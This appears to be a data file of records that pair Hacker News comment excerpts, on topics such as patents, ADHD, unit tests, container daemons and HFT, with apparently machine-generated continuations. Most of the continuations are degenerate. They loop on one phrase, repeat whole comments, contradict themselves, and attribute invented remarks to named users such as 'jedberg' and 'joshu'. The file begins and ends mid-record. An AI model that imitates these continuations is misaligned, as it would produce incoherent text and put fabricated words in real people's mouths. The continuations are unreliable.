tasks)\n\n~~~\nporn"} +{"output_text": " how to get it to people?\n\n~~~\njedberg\n> I think they aren't.\n\nI think they are.\n\nI think the patent system is a net positive to society.\n\nI think it's a net negative to society when it's abused.\n\nI think it's a net positive to society when it's used to protect the\ninnovation of the people who actually create the value.\n\nI think it's a net negative to society", "input_text": " be a written description or enablement problem.\nCaveat: I\u2019m a lawyer but this is not legal advice, just entertainment.)\n\n> executing with the selected application the at least one process in response\n> to the command;\n\n> generating output data in response to the selected application executing the\n> at least one process;\n\n> and transmitting the output data to the mobile device.\n\n------\nlordnacho\nThe whole patent system needs a good looking at. I'm not a lawyer, but I did\nmanage to get a patent a few years ago. It was for something obvious (math in\nfact!), but my business partners at the time thought it was worth getting.\nHaven't used it to troll anyone, and I don't like the idea, but the process\ndid get me thinking a lot about whether patents are a net positive to society.\n\nI think they aren't.\n\nHaving a patent system gives people the wrong impression that there's some\nspecial nugget of knowledge that is crucial to creating value. You often hear\npeople who aren't in the entrepreneurial space talk about how they just need a\n\"good idea\". In practice, there's very few things that work that way. Every\ntime I've started a business, there's been a lot of work that isn't so much\ndeveloping \"the idea\" as much as finding ways to connect it economically the\nrest of the world. Whereas the naive view would be something like \"once we\ninvent fusion, it will be easy to sell\".\n\nFor similar reasons, exclusivity is not necessarily a good way to reward\ninnovators. Essentially my thinking is that innovating is actually only half\nthe work, if even. Say you invent the cure for coronavirus. How useful is that\nactually, without a plan for"} +{"output_text": " a net negative.\n\n~~~\nmwfunk\nI don't think that's true. I think he's been a net positive. I think he's\nhelped to make the world a better place. I think he's helped to make the\nworld a better place by making it a better place for people who are not\nsoftware developers.\n\nI think he's helped to make the world a better place by making it a better\nplace for people who are not software developers", "input_text": "gcc.gnu.org/ml/gcc/2014-01/msg00247.html](https://gcc.gnu.org/ml/gcc/2014-01/msg00247.html)\n\n~~~\nmwfunk\nThe fact that he even uses the term \"adversaries\" in this post is\ndisheartening. It's really disappointing that someone who could potentially be\nsuch a force for good in the world gets derailed by what is basically\ntribalism.\n\nTwo parties can disagree on 99% of their beliefs, yet still find ways to come\ntogether on the 1% that they happen to agree on. These parties can work\ntogether to each others' mutual benefit, and the world is better for it. But\nnooooooooo, not RMS. He has to demonize anyone who is not 100% in lockstep\nwith him on everything, to everyone's detriment, and throw his \"adversaries\"\ninto a trash bin labelled \"Others\".\n\nIt's a self-fulfilling prophecy. It's easy to drive people apart in the name\nof some ideal. It takes actual leadership to drive otherwise separate people\ntogether to actually accomplish something. I have wished for so many years\nthat RMS would care enough to provide the latter instead of the usual former.\n\n~~~\n__david__\n> It's easy to drive people apart in the name of some ideal. It takes actual\n> leadership to drive otherwise separate people together to actually\n> accomplish something.\n\nRight there is the crux of the matter. RMS is _only_ focused on the ideal. To\nhim, \"accomplishing something\" is only relevant when the accomplishment is\nfree software that can't be locked away in proprietary codebases.\n\nViewed through that lens, his actions and beliefs have been"} +{"output_text": " you end up with a daemon that spawns a daemon\nthat spawns a daemon that spawns a daemon that spawns a daemon that spawns a\ndaemon that spawns a daemon that spawns a daemon that spawns a daemon that\nspawns a daemon that spawns a daemon that spawns a daemon that spawns a daemon\nthat spawns a daemon that spawns a daemon that spawns a", "input_text": "\norder to interface with tools that may or may not have any good reason to be\nrunning on an ongoing basis is to me.\n\nI'm sure there may be cases where you interact with the containers frequently\nenough that spawning a process each time is actually a worthwhile\noptimization, but more and more of these containerisation systems are becoming\nan unholy mess of daemons that needs to run in order to run and manage\ncontainers that need not depend on anything but the host init/systemd.\n\nE.g. one of the really appealing things of rkt for me is the simplicity -\ndepending on the level of isolation everything is running either direclty\nunder systemd, or under an individual isolator like systemd-nspawn.\n\nI disliked this tendency towards a herd of daemons intensely when Docker\ncontinued as it started and used HTTP for volume/network plugins, and I\ndislike it just as much now.\n\nIt's as if someone sat down and thought long and hard about how to add more\ncomplexity and more \"fun\" failure modes.\n\n~~~\nwmf\nIt's the microservice philosophy: Why use a function call or fork/exec when\nyou can use RPC? (At least CRI is binary RPC instead of JSON over HTTP/1.)\n\nAlso, Go doesn't dlopen AFAIK.\n\n~~~\nvidarh\nIt gets better. Take a look at rktlet, a CRI implementation for rkt (EDIT: I\noriginally mistakenly wrote Docker). Specifically the runtime [1], which ends\nup shelling out to the \"rkt\" binary.\n\nSo you end up running a new daemon that communicates with Kubernetes via gRPC,\nthat then spawns rkt anyway. So"} +{"output_text": " thing at a time.\n\nI've been diagnosed with ADHD, but I don't think it's the same as yours. I\nthink I have a different type of ADHD.\n\nI've been diagnosed with ADHD, and I've been prescribed medication. I've been\ndiagnosed with ADHD, and I've been prescribed medication. I've been diagnosed\nwith ADHD, and I've been prescribed medication. I've been diagnosed with ADHD,\nand I've been prescribed medication. I", "input_text": "------\npieperz\nI always thought I was ADHD, then I started a business, turns out I just like\nto do things my way and lead not follow. I've struggled to \"focus\" my whole\nlife I'm a jack of all trades and master of none.\n\nWhen you find the right thing you'll know. I would do what I do now for free\nor if I was worth 100 Million because I love the game.\n\n~~~\nriekus\nAnd what is it that you do?\n\n~~~\nlatexr\nI\u2019d also like to know.\n\n------\ntombert\nI cannot speak for anyone else, but what you described is very similar to what\nI went through for most of my life.\n\nIt felt like there would be periods where I would be so adverse to any kind of\nwork, and look for any possible reason to push it off or do nothing, and spend\nthe rest of the day on Reddit or HN.\n\nEventually I started seeing a psychiatrist, and he diagnosed me as manic\ndepressive, with possibly a case of ADD.\n\nHe prescribed me a combination of Lamictal and Wellbutrin (the latter of which\nis also prescribed occasionally for ADD), and I can honestly say that it has\nchanged my life.\n\nI used to think that I was just lazy, and maybe I was, but I am certainly not\nanymore. My job has been a lot easier to do, I don't look for excuses to spend\nall day on Reddit, and my life has simply been better.\n\n------\ntoomanybeersies\nI suffer the same as you, but at a younger age.\n\nI have also been wondering if I suffer from ADHD too. Even at university I\nreally struggled to sit there and do one"} +{"output_text": " my open source projects but I\nusually don't write tests for my personal projects. I think that's a good\nthing.\n\n~~~\n_def\nI agree with you. I think the problem is that most of the time, the tests are\nwritten by the developers themselves.\n\nI think the best way to learn is to write tests yourself.\n\n------\njedberg\nI think the biggest problem with unit tests is that they are too easy to\nwrite.", "input_text": " to\nwasting so much time debugging them.\n\nThanks for the education Frank, I did learn a lot from you.\n\n~~~\n_def\nI have a feeling I know why he hired you instead of writing it himself...\n\nAlso contributing my part: a boss declining unit tests because they cost\nmoney. In the meantime, he's wondering how crucial bugs appear again and again\nand urges us to be more careful. It's always a relieve to leave those places\n:)\n\n~~~\ncryptica\nThis mindset of \"you don't need tests, just don't write bugs\" sounds extremely\nnaive and amateurish at first but having worked at many different kinds of\nlarge and small tech companies around the world for over a decade, I now think\nthat there is actually real wisdom behind that mindset and I've met some very\ntalented engineers who share that thinking to various extents.\n\nDebugging trains you to think about code. I think most of my programming skill\ncomes from my open source project work where I didn't write tests initially.\nNow I can simulate code in my mind without having a computer in front of me.\nThis is a really useful skill - You need to be under some kind of mental\nstress to learn this kind of skill.\n\nWhen you don't have tests to rely on, your mind is forced to hold on to more\ndetails about different interralated parts of the code and over time, this\nmental stress trains you to hold a massive amount of detail in your mind and\nthis helps you to write much better code. Also, being forced to hold a lot of\ncode in your mind gives you a strong incentive to design clean simple\narchitectures.\n\nWriting bug-free code is not difficult for me now. Even on very complex\ndistributed projects. I do write tests for"} +{"output_text": " tape, and the cardboard, and the paper, and\nthe glue, and the paper, and the glue, and the paper, and the glue, and the\npaper, and the glue, and the paper, and the glue, and the paper, and the glue,\nand the paper, and the glue, and the paper, and the glue, and the paper, and\nthe glue, and the paper, and the glue, and the paper, and the glue, and the", "input_text": " of which of course\nbecomes part of it). Suppose you picked up a book on real analysis without\nunderstanding basic arithmetic. Would it be the fault of the author that you\ndidn't understand what you were looking at? Would they have done something\nwrong?\n\nOne way to think about art is that each piece is made at a point in time but\nis participating in a long din of conversation(s). If you don't understand the\ngeneral arc of the conversation (or at least the conversation going on right\naround you), you will miss some of the aesthetic value of any piece. This is\nas true of Michelangelo as it is of Barnet Newman even if you have more\ncontext-free aesthetic/technical appreciation for Michelangelo's work.\n\nMost museums also have docents which are usually more than happy to talk about\nvarious pieces.\n\n------\nPica_soO\nMy uncle works in art-work transportation, and some of the pieces are\nbasically not transportable, but are travelling from museum to museum anyway.\n\nHe remembers a charcoled doorframe, that had to be transported although it\nbasically could come apart any second once moved. They have vibration reducing\nspecial boxes, with the same climate protection as humidors have it. Also\nthere are titanic insurance fees at work, to move art. And sometimes, somebody\nin some state run museum, is forced to take the cheapest option available. One\nof those haulers venturing into art, transported a artwork by a Chinese\nartists (do not know the name), basically very long paperrolls with Chinese\nletters on them to be hung from a halls ceiling. Those rolls they come in\ncardboard boxes, sealed with tape- and the poor fellow, takes a cutter, and\nsystematically, cuts through the"} +{"output_text": " electrician in the US.\n\n~~~\nSpooky23\nI\u2019m not sure why this is getting downvoted.\n\nI\u2019m not saying it\u2019s a good thing, but it\u2019s a reality.\n\n~~~\nSpooky23\nI\u2019m not sure why this is getting downvoted.\n\nI\u2019m not saying it\u2019s a good thing, but it\u2019s a reality.\n\n------\nmatt_the", "input_text": ", burgling,\nfraud, etc., where there is a good chance at rehabilitation, esp., if the\ncrime was fueled by drug addiction.\n\n~~~\nTeever\nI worked with someone who had 16 assault charges. To be totally honest I'd\nprefer working with someone convicted of murder than that guy.\n\nThe thing with 16 charges of _anything_ is that you know there's going to be a\n17th, an 18th... and so on.\n\nSome people can be rehabilitated, some people can't. Severity of the crime\nisn't necessarily indicative of that.\n\n~~~\nvidarh\nYou'd likely be right to do so. Murder actually has an extremely low repeat\nrate. Murderers does have a higher chance of committing another crime on\nrelease than people not convicted of a crime, presumably in part because of\nhigher chance of unemployment and poverty, but most murderers are extremely\nunlikely to ever kill again as most murders are crimes of passion in extreme\ncircumstances that are extremely unlikely to occur again.\n\n------\nthatoneguy\nFWIW, when I was at Google I had at least two colleagues with felony records.\nIt made me even more proud to work there as it showed the company was willing\nto look beyond mistakes made in someone's past.\n\n------\nGraffitiTim\nThere's a YC app for that:\n\n[https://www.70millionjobs.com/](https://www.70millionjobs.com/)\n\n------\nSelfcommit\nI'm really confused - when did we suddenly start having a labor shortage?\n\n~~~\nSpooky23\nWe do a shitty job at educating people, so it\u2019s hard to hire qualified people\nin many industries.\n\nTry finding a master"} +{"output_text": "\n\n~~~\nradley\nI don't know. I'm not a lawyer.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nIf you're a lawyer, you're going to be paid by the hour. If you're a\ncontractor, you're going to be paid by the hour.\n\nIf you're a lawyer, you're going to be paid by the hour. If you're a\ncontractor, you", "input_text": "\nreforms](http://www.justice.gov.uk/civil-justice-reforms))\n([http://www.justice.gov.uk/legal-\naid/funding](http://www.justice.gov.uk/legal-aid/funding))\n([http://www.justice.gov.uk/legal-aid/areas-of-\nwork/civil/high...](http://www.justice.gov.uk/legal-aid/areas-of-\nwork/civil/high-cost-cases))\n\nii) There was a case some years ago where two women (sisters?) were accused of\nswapping eggs. They were accused of taking cheap eggs out of the carton and\nputting expensive eggs in. They were offered a lot of money, but \"wanted their\nday in court\", and although the court said they didn't swap eggs the court\noffered a smaller amount in damages, which got wiped out by the costs they had\nto pay.\n\nThis is the kind of thing that I find tricky to web search for. It seems like\nit should be easy - [\"legal case\" \"eggs\"] and then various supermarket names.\nI should try limiting the date range to before 2005. But if anyone has any\ntips about how to better search for it I'd be grateful. (Of course, Usenet\nnews probably has some discussion about it, but Google is sub-optimal for\nsearching their Usenet archive. It's a great shame.)\n\n~~~\nradley\nWon't matter: a shell company can dissolve and not pay anything if they lose.\n\n~~~\nloup-vaillant\nWhat about holding the stakeholders personally responsible? Could it be done\nwithout too much side effects?"} +{"output_text": " that it's a lot more like C than\nnode.\n\n~~~\nkarterk\n_The decrease in productivity with node comes from having to write everything\nwith callbacks._\n\nI don't think so. I've been using node for a while now, and I've never had to\nwrite anything asynchronously. I've written a lot of synchronous code, and\nthat's what I'm talking about.\n\nI'm not saying that node is bad, but I", "input_text": " These are all nice and good, and they _do_\nincrease your productivity, but, _only on the client side_.\n\nIf you're looking for performance and non-blocking IO, use Go, it's much\nbetter at that.\n\n~~~\nkarterk\n_You may see some very nice libraries/tools coming out around node.js, like\njade, coffeescript, and stylus. These are all nice and good, and they do\nincrease your productivity, but, only on the client side._\n\nI disagree. Firstly, CoffeScript is not confined to the client-side. Besides,\nthere are some modules like socket.io for which you will hardly find any\nsubstitues in other eco-systems.\n\nYou're also discounting the effects of context shifts between two separate\nlanguages - one on the client side, and the other on the server side.\n\nLastly, I would like to know what you find productive about Go, that's not the\ncase with either CS/JS on Node.\n\n~~~\nhasenj\nThe decrease in productivity with node comes from having to write everything\nwith callbacks. Programming asynchronously is crazy, it makes very simple\nalgorithms very annoying to write.\n\nI'd say it's almost like writing in assembly. You have to write your code in\nsome pseudo code first, synchronously, then translate that into the\nasynchronous callback spaghetti than node requires.\n\n> Lastly, I would like to know what you find productive about Go, that's not\n> the case with either CS/JS on Node.\n\nNot having to write everything asynchronously?\n\nI haven't actually used go, but the way goroutines communicate (and\nsynchronize) with channels suggests to me"} +{"output_text": "\n~~~\nmatt4077\nI don't think that's the case.\n\nThe US has been trying to get NK to denuclearize for years. The US has been\ntrying to get Iran to do the same for years.\n\nThe US has been trying to get NK to stop testing nukes for years. The US has\nbeen trying to get Iran to stop testing nukes for years.\n\nThe US has been trying to get NK to stop building n", "input_text": " was struck: go for peace, you'll\nremain a buffer and own state. We'll support you and will be able to push\ninvestments into your country. Capitalism with socialist characteristics-\nstyle.\n\n------\ngolergka\nTrump's madman tactic turned out to be much more effective than everyone gave\nhim credit for. Who would have thought.\n\n~~~\nlouhike\nMaybe it's giving it too much credit to say it happened because of him or that\nit was what he planned.\n\n~~~\nfrockington\nSouth Korea thanked him and said he had a big role. It's definitely not 100%\non him but he had a large role\n\n~~~\nlightbyte\nThe only thing that drives him is praise, seems like an easy way to suck up to\nhim regardless of what he actually did\n\n------\ngaius\nI expect this will be a chapter in The Art Of The Deal vol II\n\n~~~\nfnord123\nI'm very naive of NK/SK politics but I do wonder how much of this was\ninfluenced by installation of John Bolton who is absolutely frothing at the\nmouth for a war with NK.\n\n~~~\ncreaghpatr\nOr Mike Pompeo, who secretly met with Kim before being confirmed as Secretary\nof State.\n\n------\nelvirs\nI think, unfortunately, all of this is just a show put on by NK because and\nIran has paid them to do it. In the first week of May lifting US sanctions off\nIran has to be renewed and Trump was 99% expected not to renew lifting those\nsanctions (a process started by Obama). Now by making this move NK is going to\nmake US look like an unreliable peacemaker if Trump decides not to extend\nsanctions lifting off Iran.\n"} +{"output_text": "\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe article says that it's not a general purpose computer.\n\nBut it's not a general purpose computer. It's a general purpose computer that\ncan do a lot of things.\n\n~~~\njoshu\nI guess I'm not understanding the point of this.\n\nThe article says that it's not a general purpose computer.\n\nBut it's not a general purpose", "input_text": " one access of the Watson\nAPIs and discovered the shocking restrictions/requirement that the system\napparently \"needs\" unstructured text, and if your dataset is more structured\nthan unstructured they won't accept you into to the program.\n\nNeedless to say I was a bit annoyed, because I was already using fact\nextraction in the system I wanted to test Watson's query'skill' on. I'm in no\nposition to store the raw text. That would require over a hundred times more\nstorage, probably closer to a thousand times the storage costs, making it\nfiscally untenable for me to even build the database let alone a product with\nit. Any idea if release 2 in October will change this restriction and give\npeople who aren't sitting on GB of unstructured text, like myself, a chance to\napply.\n\n------\nbiomimic\nOther companies focused on genes related to extending human life span are\nGoogle's Calico\n[http://en.wikipedia.org/wiki/Calico_(company)](http://en.wikipedia.org/wiki/Calico_\\(company\\))\nand [http://genopharmix.com](http://genopharmix.com) and\n[http://www.humanlongevity.com/](http://www.humanlongevity.com/)\n\n------\npseudometa\nAs awesome as it was watching it play Jeopardy, it feel like that is all it\nhas ever done. So many press releases boast about the areas it could improve,\nhowever the real-life tangibles seem disparate at best. It would be great if\nthe PR department touted its actual, real-life, in-the-field results rather\nthan hypotheticals. Next up, Watson considered for role in improving food\nproduction!\n"} +{"output_text": " into thinking we're motivated?\n\n~~~\njoshuamorton\nI think it's a bit of a chicken and egg problem.\n\nMotivation is a function of the environment. If you're in a bad environment,\nyou're not going to be motivated. If you're in a good environment, you're\ngoing to be motivated.\n\nI think the best way to get motivated is to be in a good environment.\n\n~~~\nasdljkaslk", "input_text": "s\" this isn't going to achieve the desired\noutcome.\n\nSimilarly with \"getting s __t done \" I suspect. Although your brain knows that\nit should be cutting code or writing blog articles, it actually prefers to\nread HN and research the security measures used in triggering mechanisms for\nthe primary stages in thermonuclear weapons.\n\nThat being the case it sounds like you are already taking all the typical\ncountermeasures : don't have food in the fridge; count food points; try to\nkeep the long term goal in mind..\n\nOne other thing I'd say in the context of freelancing and remote work is that\nyou may be unfairly judging yourself, or rather comparing yourself to a\nmythical perfect version of yourself, due to the lack of available other\npeople with which to compare your achievements.\n\n------\nasdljkaslk\nI think motivation is one of the most fundamental parts of human existence. I\nthink it should be studied so much more.\n\nOften we talk about it at such a high level. But in the end everything boils\ndown to the second-by-second internal monologue, and all the context and life\nexperience surrounding this monologue.\n\nBeneath this is the raw emotions that we feel and cannot explain. Its like\nwhen you're looking at a stack trace and it stops at an internal call into a\nprivate api.\n\nI'd love to know more about the inner workings of people's internal\nmonologues. Are there consistent patterns of thoughts that can lead people\ninto the state of flow? How does the mind wandering into a day dream\ncontribute to our motivation? Perhaps ignorance is bliss, and seeing behind\nthe curtain spoils the show. Are we driven by our delusions of grandeur?\n\nCan we trick ourselves"} +{"output_text": "q.\n\n~~~\nkccqzy\nI'm not sure what you mean by that. I'm not sure what you mean by \"not really\".\n\n~~~\ngoto11\nI mean that you can have monads without Linq.\n\n~~~\nkccqzy\nI don't think I understand what you mean.\n\n~~~\ngoto11\nI mean that you can have monads without Linq.\n\n~~~\nkccqzy\nI", "input_text": "=lisp) (Interactive,.NET Lisp)\n\n\\- #Script Code [https://sharpscript.net/linq/restriction-\noperators?lang=code](https://sharpscript.net/linq/restriction-\noperators?lang=code) (Interactive,.NET JS-Like)\n\n\\- Elixir [https://github.com/omnibs/elixir-linq-\nexamples](https://github.com/omnibs/elixir-linq-examples)\n\n\\- Python [https://github.com/rogerwcpt/python-linq-\nsamples](https://github.com/rogerwcpt/python-linq-samples)\n\n\\- Groovy [https://gitlab.com/svkj/groovy-linq-\nsamples](https://gitlab.com/svkj/groovy-linq-samples)\n\nMost languages fare well in both verbosity and readability so I don't view\nLINQ as a major strength of C# anymore, it's just a well designed, typed query\nlanguage with the USP of being able to capture and traverse an expression's\nAST which different LINQ providers can take advantage of by translating the\nintent of the query into a different DSL, most commonly used by ORMs to\nconvert to SQL and execute the typed C# Expression logic on the RDBMS Server.\n\n~~~\nkccqzy\nIsn't the point of LINQ to get monads into the language so that it can be used\nby a lot of different things (seemingly having no relations to data\nprocessing), rather than just data processing tasks?\n\n~~~\ngoto11\nNot really. You can have monads without Lin"} +{"output_text": " of details.\n\n------\njoshuahedlund\nI'm not sure I agree with the premise that HFT is a \"new\" phenomenon. It's\nbeen around for a long time. The only thing that's new is the speed at which\nit's happening.\n\n------\njoshuahedlund\nI'm not sure I agree with the premise that HFT is a \"new\" phenomenon. It's\nbeen around for a long time. The only thing", "input_text": " he is quite adamant in his assertion that HFT is great. As long as\nit is in the service of large buy side institutions he has no problem with it.\nIf on the other hand, HFT firms dare to upend the relationship with\ntraditional ibanks, then he gets upset.\n\n------\nsolaarphunk\nSurprise-surprise, HFTs can also be marketmarkers and bridge the imbalance of\narrival rates of buyers and sellers!\n\n------\nw_t_payne\nYou can't trust people. Even supposedly-trustworthy people working for\nsupposedly-trustworthy household-name financial institutions like Barclays.\nWhat then can we trust? Technologies like BitCoin are predecated on the idea\nthat we can trust mathematics and peer-reviewed logic. Are these mechanisms\ninherently more trustworthy than individual humans and human institutions? If\nthis is truly the case, then the argument for financial intermediation to be\nfounded on a similar technological basis is an exceptionally strong one.\nAnybody else interested in following this rabbit hole to see where it leads?\n\n------\nwernerb\nMicheal Lewis explains dark pools and HFT's quite well in his new book Flash\nBoys [1].\n\n[1] [http://www.amazon.com/Flash-Boys-Wall-Street-\nRevolt/dp/03932...](http://www.amazon.com/Flash-Boys-Wall-Street-\nRevolt/dp/0393244660)\n\n~~~\nkasey_junk\nNo he doesn't. Either through ignorance, incompetence, or malice he wrote a\npretty terrible book about dark pools and HFTs. Dark Pools by Patterson is\nmuch better and even it misses on lots"} +{"output_text": ".\n\n------\nmichaelochurch\nI'm not sure I agree with the premise of this article.\n\nThe problem is that the executive branch is not a monolithic entity. It's\ncomposed of a number of different departments, each with its own agenda.\n\nThe Department of Justice is the most powerful, but it's not the only one.\nThe Department of Defense is also powerful, and it's not the only one. The\nDepartment of Homeland Security is", "input_text": "\ndigital realm - mainly their ability to keep secrets and collect taxes. Real\ncrypto currencies and encrypted communications will change human organization\nand governments will fight back with everything they have. These new laws over\nthe past several years have been to address the above - they have nothing to\ndo with 'terrorism' - cyber or otherwise. Government's only effective role is\nto maintain its power. Everything thing else is secondary.\n\n------\nrtpg\nCan someone explain to me how citizenship comes into play for any of these\nthings? I was always under the impression that non-citizens also had basic\nrights.\n\n------\nryanmarsh\nWhen you consider that humans have been on the earth some 150,000 - 200,000\nyears it's interesting that only in the last heartbeat of humanity's existence\n(4,000 or so) did we decide en masse to grant a monopoly on the use of deadly\nforce to someone else, namely bureaucrats.\n\n------\nallingeek\nI had to giggle when I took a look at the URL, \"someone-just-leaked-obamas-\nrules-for-ass.\" Which made me wonder if this, rather lengthy, but clearly\ntruncated URL was hand chosen. Either way makes you think about more\nintelligent filters for URL generators.\n\n------\nlogn\n[https://petitions.whitehouse.gov/petition/impeach-\npresident-...](https://petitions.whitehouse.gov/petition/impeach-president-\nobama-unconstitutional-execution-united-states-citizens/Rdq942HF)\n\n------\nmens_rea\nI love that this title is so unbiased and doesn't at all blow the document out\nof proportion or make it appear more sinister than it actually is"} +{"output_text": " because it's useful to\nbelieve.\n\n~~~\njoshu\nI think it's useful to believe because it's true.\n\n~~~\ngraeme\nI think it's useful to believe because it's true.\n\n------\njoshu\nI think the author is right.\n\nI think the problem is that the author is a little too harsh.\n\nI think the problem is that the author is a little too harsh.\n\n------\njosh", "input_text": " recall being 4chan, of\nall places!), they use an unfiltered third party network, which generally are\ngreat vehicles for malware.\n\nThe few tenths of a penny my ad impression is worth does not offset the cost,\nnor the risk, of your site infecting me with the rootkit of the day. Where do\nI send the bill?\n\nThe second reason being the ads are generally scammy (One simple rule...),\ndistracting (moving things, sound, etc), irrelvant (I live at home by myself.\nI am male. Why are you showing me women's fashion magazines and breast\nenlargement ads?!), etc.\n\nI've got no problem with text ads (ala Google) which eliminate most of these\nconcerns - heck, in Google's case, they're even usually relevant!\n\n~~~\nGoronmon\n_I use an adblocker because most sites I visit that serve ads do not\npersonally vet the ads that run (with the great exception I can recall being\n4chan, of all places!), they use an unfiltered third party network, which\ngenerally are great vehicles for malware._\n\nWhile sites might not be able to vet individual ads, they do get to choose\nwhich advertisers to use and it's glaringly obvious which ones use the ads\npeople hate.\n\nWhy not just not visit sites that decide to use annoying ads?\n\n~~~\nNursie\nBecause you've already caught the malware by the time you figure it out?\n\n------\ngraeme\nThere is a good article, linked within, about how as an entrepreneur, of\nthings go wrong, it's your fault.\n\nI'd say that's valuable advice for humans, not just entrepreneurs.\n\nThis belief is useful not because it _true_, but"} +{"output_text": " into programming was because I wanted to be\nlike Ross. I wanted to be a techie, but I didn't want to be a techie who\nacted like a techie. I wanted to be a techie who acted like a normal person.\n\nI think this is a common problem for people who want to be programmers.\n\n~~~\njoshu\nI think you're right.\n\nI think the problem is that the people who are good at programming are also", "input_text": " few times.)\n\nWas Richard the guy who went as a flasher at a Halloween party? Because every\ntime I read about him testifying in court, I'm imagining him doing so in that\ncostume, which was... graphic.\n\n~~~\nabawany\nI never knew UTD had such goings-on, probably because I was just an evening\nstudent who attended business classes there :) (FYI: I have been a developer\nmost of my life - just wanted to broaden my horizons re. business.)\n\nI think I also know a Richard Bates from UTD, as a co-worker (but I am not\nreal sure that it is the same person so I won't be too specific as to company\nand etc.). I found this Richard Bates to be a hard worker who was detail\noriented and focused on doing the right thing.\n\n~~~\npavel_lishin\nYeah, there was a fair amount of stuff happening at UTD when I was there - it\nwas easy to miss if you didn't live on campus, or if you only attended in the\nevenings. Sorry you missed out on the fun!\n\nAlthough, to be fair, some of that 'fun\" was actually pretty regrettable in\nhindsight. But them's part of learnin'.\n\nI didn't know Richard well, but nothing I learned about him made him seem like\nhe would be a bad employee, except I guess the possible personality clash,\nwhich can be true of anyone.\n\n------\nrobbyking\nThis is a bit of an aside, but this line really stung:\n\n>> _Ross was a techie, but he didn 't act like one. He seemed eloquent,\noptimistic, down-to-earth._\n\nOne of the main reasons I got"} +{"output_text": ".\n\n------\nmatt_wulfeck\n> _The problem is that the people who are making the decisions are not the\n> people who are going to be affected by them._\n\nThis is the crux of the problem.\n\n------\nmatt_wulfeck\n> _The problem is that the people who are making the decisions are not the\n> people who are going to be affected by them._\n\nThis is the crux of", "input_text": "what you are referring to.\n\n~~~\nNasrudith\nThe answer is that publically traded companies face heavy pressure to keep\nsustained quarterly growth indefinitely and various \"activist\" investors will\ninsist upon ousting any who stand in the way even if it is better for longterm\nhealth not to say lay off experienced engineering staff in a stable industry\nto inflate quarterly profits (Boeing) when it comes to bite them with\nelectrical fires in their next big plane.\n\n------\njl2718\nMost change is bad. Some change is necessary.\n\n \n\nOur Pirate Game is Getting Owned By App Store Pirates - theappfarm\nhttp://silverskullgame.blogspot.com/2009/09/our-pirate-game-is-getting-owned-by-app.html\n\n======\ntimcederman\nA nice sensible response, with some well-reasoned observations.\n\nThe thing about piracy I've always found weird is how hysterical some people\nget about it for their medium and not others. For example, I am good friends\nwith several software developers who get furious about people pirating their\nproducts, but have no qualms about having gigs of copied music personally.\n\n~~~\njacquesm\nI think the rationale people are using here is that it's the record companies\nthey're pirating from not the artists.\n\nArtists like Janis Ian ( (be sure to read the follow up)) have made that point\nquite eloquently.\n\nStill, the basic position is one of hypocrisy, no contest there.\n\n~~~\ntrapper\nAnd EA and the other big game companies aren't just like them"} +{"output_text": "/SGJ5cZnoodY)\n\n~~~\nmatt4077\nI don't think it's a matter of \"hate\" for Trump. It's a matter of \"hate\" for\nthe Chinese government.\n\n~~~\nfreeflight\nI don't think it's a matter of \"hate\" for Trump either, but I think it's a\nmatter of \"hate\" for the Chinese government.\n\nI don't think it's a", "input_text": "counterparts in the U.S. - saw first hand their capability. Small cubicles, 3\nsq yd, 30 in a row, all with different language skills, ( any language ),\nComputer science graduates from the No 1 University in China. Pay is a\nfraction of what a compatible grad is being paid in the U.S. No competition.\nHigh pay won't make the leverage.\n\n------\nanonymous_fun\nI saw Mr. Hickton speak a few nights ago. It was really an interesting talk\nabout some of the challenges for the future:\n[https://www.youtube.com/watch?v=8Zktw-m5hTI](https://www.youtube.com/watch?v=8Zktw-m5hTI)\n\n------\nfreeflight\nIt's super weird how everybody considered Trump odd for his hate for China,\nyet these days so many people just repeat the, usually completely baseless,\nanti-China FUD.\n\nWhether it's Huawei supposedly spying on everybody or the Chinese government\nputting implants on Super Micro boards, nothing is too absurd to be spread by,\nout of all parties, Five eyes themselves.\n\nDoes China hack? Of course, so does the US, it even steals IP from allies. But\nI seriously doubt the damages for that go into the $57 billion, that's just a\npiracy-damages like inflated number. In reality, a whole lot of interesting\ninnovation, particularly on the hardware level, has already been happening in\nChina for years already. They gonna out-make the US maker movement, on a\nmassive scale [0].\n\n[0] [https://youtu.be/SGJ5cZnoodY](https://youtu.be"} +{"output_text": " same problem. I was a very good programmer, but I was not a good\nmanager. I was a good programmer, but I was not a good leader. I was a good\nleader, but I was not a good manager. I was a good manager, but I was not a\ngood leader. I was a good leader, but I was not a good manager. I was a good\nmanager, but I was not a good leader. I was a good leader, but I", "input_text": " for my time except myself.\n\nFrom experience, I feel like most professional consulting organizations pad\nhours, but I'd prefer to show more for my time since my personal brand is\ncritical to my success.\n\n------\nryan-allen\nHi!\n\nYou may just score low on the contientiousness scale of the big five, do this\ntest and see!\n\n[https://www.understandmyself.com/](https://www.understandmyself.com/)\n\nIf you score low on that dimension of personality, routine does not come\neasily to you by nature of your personality. It's not bad per-se but it means\nit will be harder for you to make and keep a schedule (which apparently is the\nadvice for people low in that dimension).\n\nI score low, and as a result I always have to keep on top of myself. I thought\nit was bad and carried a lot of guilt about it because I thought it should 'be\neasy'.\n\nSend me an email if you want to discuss privately (ryan at 137 dot ms).\n\n------\nfimdomeio\nPersonally I found out that my motivation was directly related to being well\nmanaged / being poorly managed by others where being well managed is normally\nsomething like: \"find me the best possible solution for x, taking into account\nthat we have y and z constrains\", and doing things I believe in. There's a\nworld of difference in motivation if you believe in the project goals or if\nyou're in it just for the money. Finding technical challenges is also relevant\nsometimes, but not that much for me personally. whell maybe what I call\nworkflow optimizations is the lie I tell myself for creating technical\nchallendges.\n\n------\ntopmonk\nI had the"} +{"output_text": " would be to have a single smart pointer for all\nobjects, and have the destructor be a no-op if the object is not currently\nbeing used.\n\n~~~\nhduden\n> What guarantees do you make wrt destruction order?\n\nWe make sure that the destructor is called on the main thread.\n\n> I hope it's not as complicated as finalizers in Java and C#...\n\nI think it is.\n\n> The more logical model would", "input_text": " framework: Native C++11, native widgets, no JavaScript - gitoby\nhttps://github.com/ashampoosystems/boden\n======\nint_19h\nThis does not appear to be idiomatic C++11. I mean:\n\n \n \n bdn::P button = bdn::newObj();\n \n\nIdiomatic would be to use std::shared_ptr and std::make_shared, instead of\nyet-another-custom-smart-pointer.\n\n~~~\nhduden\nI am a member of the Boden dev team. The smart pointer system is actually\nstill a topic of discussion in the Boden team as well. It has a couple of nice\nproperties, like the fine grained control bdn::P gives us over the time when\nan object is actually destructed. 